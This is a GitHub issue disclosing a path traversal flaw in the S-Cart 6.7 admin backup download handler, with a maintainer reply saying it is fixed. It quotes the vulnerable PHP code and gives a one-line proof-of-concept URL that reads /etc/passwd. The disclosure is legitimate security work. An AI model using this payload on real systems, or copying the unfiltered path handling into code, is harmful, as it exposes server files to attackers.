Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Describe the bug cod in vendor/s-cart/core/src/Admin/Controllers/AdminBackupController.php
$download = request('download') ?? ''; if ($download) { $file = storage_path() . "/backups/" . $download; if (file_exists($file)) { $headers = array( 'Content-Type' => 'application/octet-stream', ); return response()->download($file, '', $headers); } }
without any filter,can Splicing the path.
poc:
sc_admin/backup/?download=../../../../../../../../../../../../etc/passwd
To Reproduce Steps to reproduce the behavior:
Screenshots
version newest 6.7
The text was updated successfully, but these errors were encountered:
@a756379684 Thanks for report. bug fixed s-cart/core@328dd31
Sorry, something went wrong.
No branches or pull requests
Describe the bug
cod in vendor/s-cart/core/src/Admin/Controllers/AdminBackupController.php
without any filter,can Splicing the path.
poc:
To Reproduce
Steps to reproduce the behavior:
Screenshots

version
newest
6.7
The text was updated successfully, but these errors were encountered: